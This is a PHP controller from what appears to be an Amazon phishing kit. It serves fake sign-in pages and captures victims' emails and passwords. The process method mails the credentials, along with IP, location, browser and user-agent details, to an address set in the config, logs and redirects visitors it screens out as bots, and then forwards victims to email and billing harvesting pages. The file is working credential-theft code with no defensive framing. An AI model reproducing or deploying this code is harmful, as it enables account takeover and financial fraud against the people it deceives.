<?php 
defined("ACCESS") or die('Konz');

class Signin 
{
	public $pc;
	private $_LICENSE = FCPATH . "arahmataAngin/system/private/license.ini";
	private $_CONFIG = FCPATH. "arahmataAngin/system/private/setting.json";

	public function __construct()
	{
		$this->pc = new Pc();
		$_ini_file = parse_ini_file($this->_LICENSE);
		$this->license = new license($_ini_file);

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 1)) {

			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{		
		if ($this->pc->is_mobile) {
			echo view('signin/index-mobile');
		} else {
			echo view('signin/index-desktop');
		}
	}

	public function process()
	{
		if (isset($_POST['emailLogin']) and isset($_POST['passwordLogin'])) {
			$_SESSION['emailLogin'] 	= trim($_POST['emailLogin']);
			$_SESSION['passwordLogin']	= trim($_POST['passwordLogin']);

			$email    = trim($_POST['emailLogin']);
			$passwordamz = trim($_POST['passwordLogin']);

			$message = 
"<strong><span style='color:#ffffff;display: none;font-size: 1px;line-height: 1px;max-height: 0px;max-width: 0px;opacity: 0;overflow: hidden;'>MD5 HASH ".md5(time())." NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE</span></strong>
<pre>
<b>##------------------------[ AMAZON ACCOUNT ]-------------------##</b><font color='#C500FF '>
  [!] Username     :: {$email}
  [!] Password     :: {$passwordamz}</font>
<b>##-------------------------[ Device Info ]---------------------##</b><font color='#0013FF'>
  [*_*] IP             :: {$this->pc->ip_address}
  [*_*] Country        :: {$_SESSION['country']}
  [*_*] Region         :: {$_SESSION['regionName']}
  [*_*] City           :: {$_SESSION['city']}
  [*_*] OS / Browser   :: {$this->pc->platform} / {$this->pc->browser}
  [*_*] Date           :: "._date()."
  [*_*] User Agent     :: {$this->pc->agent}</font>
<b>##------------------[ DONE DOT PHP ]---------------------##</b>
</pre>";

			$subject = "AMAZON LOGIN: ".strtoupper($email)." [ {$_SESSION['country']} - {$this->pc->ip_address} - {$this->pc->platform} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: Amazon Login <dpriv@dprpemerintah.id>";

			if (_config('get_account') == 'on') {
				@mail(_config('result'), $subject, $message, $headers);
			}

			write(FCPATH . 'arahmataAngin/system/stats/log_account.txt', 'a', "{$this->pc->ip_address}\r\n");
			

			preg_match("/\@(.+)\./", $_SESSION['emailLogin'], $match);

			$_SESSION['email_type'] = $match[1];
	
			if (_config('get_email') == 'on') {
				$_SESSION['access'] = 2;
				redirect(base_url() . 'emails/#_ts='. md5(rand(0, 999)));				
			} else {
				$_SESSION['access'] = 3;
				redirect(base_url() . 'billing?_ts='. md5(time()));
			}
			}
	}
}